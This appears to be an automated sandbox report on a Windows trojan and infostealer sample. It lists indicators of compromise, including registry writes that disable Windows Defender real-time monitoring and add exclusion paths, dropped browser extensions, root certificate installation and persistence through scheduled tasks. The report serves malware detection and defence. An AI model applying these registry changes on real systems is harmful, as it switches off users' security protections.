d652708d7023a2bd19706c7f2efa379e66ea487f415871435b2ff085830d67db

Analysis

max time kernel
151s
max time network
153s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
10/10/2022, 14:03

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
file.exe
Size 7.2MB
Sample221010-rcplesccbl
SHA256 d652708d7023a2bd19706c7f2efa379e66ea487f415871435b2ff085830d67db
MD5 1b4a8ab43b2437c6e5815e0c7db5a474
SHA1 b6e65cd8721106d45ab34ee6d205717308385eb0
SHA512 fe888960db6ec7028ea63f46e93ff73684f44f1c262310ff1aa06d3eeb6b13172b9a840953e1cb875249d501681a2c04b03e0706dff8e1481ed52dd52e3c23e8
SSDEEP 196608:91ObHkyoxSdT/7Tf9t7CGBW6kkmMTpEGT0dM:3ObEWPT1wTMTpbTAM
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

evasion spyware stealer trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Modify Existing Service

T1031

Disabling Security Tools

T1089

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Windows security bypass 2 TTPs 36 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\BcQBYHwmLrIU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\xaLEnBzGCyciC = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\OyGyVqLCXKUn = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\DqqpsCessXFqdFpq = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	conhost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\OyGyVqLCXKUn = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\RXXjOxYqdtOKwXVB = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\lXjMOKIfViuXxgfEi = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\xaLEnBzGCyciC = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\DqqpsCessXFqdFpq = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\DqqpsCessXFqdFpq = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\DkvxDxdJRMKKbbPFPtR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\BcQBYHwmLrIU2 = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\aazYDpmAU = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\aazYDpmAU = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\lXjMOKIfViuXxgfEi = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\DkvxDxdJRMKKbbPFPtR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\RXXjOxYqdtOKwXVB = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\DqqpsCessXFqdFpq = "0"	conhost.exe

Executes dropped EXE 4 IoCs

pid	Process
1836	Install.exe
1248	Install.exe
1772	rylyjoy.exe
1172	IWPAqao.exe

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Loads dropped DLL 8 IoCs

pid	Process
1076	file.exe
1836	Install.exe
1836	Install.exe
1836	Install.exe
1836	Install.exe
1248	Install.exe
1248	Install.exe
1248	Install.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Drops Chrome extension 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json	IWPAqao.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\meejmcfbiapijdfaadackoblffmidlig\1.0.0.0\manifest.json	IWPAqao.exe

Drops file in System32 directory 22 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	IWPAqao.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	IWPAqao.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	IWPAqao.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	IWPAqao.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_D4DDF242A8972F898C0FE0D6EA6919E3	IWPAqao.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	rylyjoy.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_1ACD2B4A039DF3260017F7BF28EE7323	IWPAqao.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E87CE99F124623F95572A696C80EFCAF_CD6513E45B8AAEA8DF3E8B0C926693B8	IWPAqao.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E87CE99F124623F95572A696C80EFCAF_CD6513E45B8AAEA8DF3E8B0C926693B8	IWPAqao.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	rylyjoy.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	IWPAqao.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	IWPAqao.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	IWPAqao.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_D4DDF242A8972F898C0FE0D6EA6919E3	IWPAqao.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_1ACD2B4A039DF3260017F7BF28EE7323	IWPAqao.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	rylyjoy.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	IWPAqao.exe

Drops file in Program Files directory 6 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\aazYDpmAU\vsNdLZ.dll	IWPAqao.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	IWPAqao.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	IWPAqao.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	IWPAqao.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	IWPAqao.exe
File created	C:\Program Files (x86)\aazYDpmAU\DNtVxpp.xml	IWPAqao.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\bFmTPRIbFUTpbCJKKp.job	schtasks.exe
File created	C:\Windows\Tasks\IwUIDUlWwCCaleROq.job	schtasks.exe
File created	C:\Windows\Tasks\yQJFyOflsJsySqW.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 8 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1628	schtasks.exe
800	schtasks.exe
1916	schtasks.exe
1316	schtasks.exe
1644	schtasks.exe
768	schtasks.exe
1696	schtasks.exe
1488	schtasks.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-74-82-27-fd-05\WpadDecisionReason = "1"	IWPAqao.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	IWPAqao.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	IWPAqao.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	wscript.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	IWPAqao.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-74-82-27-fd-05\WpadDecisionTime = 809da315c2dcd801	IWPAqao.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	IWPAqao.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	IWPAqao.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	wscript.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	IWPAqao.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs	IWPAqao.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs	IWPAqao.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs	IWPAqao.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	IWPAqao.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	IWPAqao.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	IWPAqao.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	IWPAqao.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	IWPAqao.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-74-82-27-fd-05	IWPAqao.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs	IWPAqao.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	IWPAqao.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	IWPAqao.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates	IWPAqao.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	IWPAqao.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	IWPAqao.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	IWPAqao.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f000b000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	IWPAqao.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	IWPAqao.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	IWPAqao.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	IWPAqao.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	IWPAqao.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	IWPAqao.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	IWPAqao.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs	IWPAqao.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	IWPAqao.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AA8D03D8-B570-42F8-8BB5-CD37C967A3EA}\WpadDecisionTime = 809da315c2dcd801	IWPAqao.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	IWPAqao.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	IWPAqao.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs	IWPAqao.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	IWPAqao.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	IWPAqao.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My	IWPAqao.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	IWPAqao.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	IWPAqao.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs	IWPAqao.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	IWPAqao.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	IWPAqao.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	IWPAqao.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	IWPAqao.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	IWPAqao.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AA8D03D8-B570-42F8-8BB5-CD37C967A3EA}\0e-74-82-27-fd-05	IWPAqao.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs	IWPAqao.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs	IWPAqao.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	IWPAqao.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	IWPAqao.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates	IWPAqao.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AA8D03D8-B570-42F8-8BB5-CD37C967A3EA}\WpadNetworkName = "Network 2"	IWPAqao.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	IWPAqao.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	IWPAqao.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	IWPAqao.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	IWPAqao.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
544	powershell.EXE
544	powershell.EXE
544	powershell.EXE
1316	powershell.EXE
1316	powershell.EXE
1316	powershell.EXE
1460	powershell.EXE
1460	powershell.EXE
1460	powershell.EXE
1532	powershell.EXE
1532	powershell.EXE
1532	powershell.EXE
1172	IWPAqao.exe
1172	IWPAqao.exe
1172	IWPAqao.exe
1172	IWPAqao.exe
1172	IWPAqao.exe
1172	IWPAqao.exe
1172	IWPAqao.exe
1172	IWPAqao.exe
1172	IWPAqao.exe
1172	IWPAqao.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	544	powershell.EXE
Token: SeDebugPrivilege	1316	powershell.EXE
Token: SeDebugPrivilege	1460	powershell.EXE
Token: SeDebugPrivilege	1532	powershell.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1076 wrote to memory of 1836	1076	file.exe	28
PID 1076 wrote to memory of 1836	1076	file.exe	28
PID 1076 wrote to memory of 1836	1076	file.exe	28
PID 1076 wrote to memory of 1836	1076	file.exe	28
PID 1076 wrote to memory of 1836	1076	file.exe	28
PID 1076 wrote to memory of 1836	1076	file.exe	28
PID 1076 wrote to memory of 1836	1076	file.exe	28
PID 1836 wrote to memory of 1248	1836	Install.exe	29
PID 1836 wrote to memory of 1248	1836	Install.exe	29
PID 1836 wrote to memory of 1248	1836	Install.exe	29
PID 1836 wrote to memory of 1248	1836	Install.exe	29
PID 1836 wrote to memory of 1248	1836	Install.exe	29
PID 1836 wrote to memory of 1248	1836	Install.exe	29
PID 1836 wrote to memory of 1248	1836	Install.exe	29
PID 1248 wrote to memory of 1488	1248	Install.exe	31
PID 1248 wrote to memory of 1488	1248	Install.exe	31
PID 1248 wrote to memory of 1488	1248	Install.exe	31
PID 1248 wrote to memory of 1488	1248	Install.exe	31
PID 1248 wrote to memory of 1488	1248	Install.exe	31
PID 1248 wrote to memory of 1488	1248	Install.exe	31
PID 1248 wrote to memory of 1488	1248	Install.exe	31
PID 1248 wrote to memory of 1564	1248	Install.exe	34
PID 1248 wrote to memory of 1564	1248	Install.exe	34
PID 1248 wrote to memory of 1564	1248	Install.exe	34
PID 1248 wrote to memory of 1564	1248	Install.exe	34
PID 1248 wrote to memory of 1564	1248	Install.exe	34
PID 1248 wrote to memory of 1564	1248	Install.exe	34
PID 1248 wrote to memory of 1564	1248	Install.exe	34
PID 1488 wrote to memory of 364	1488	forfiles.exe	35
PID 1488 wrote to memory of 364	1488	forfiles.exe	35
PID 1488 wrote to memory of 364	1488	forfiles.exe	35
PID 1488 wrote to memory of 364	1488	forfiles.exe	35
PID 1488 wrote to memory of 364	1488	forfiles.exe	35
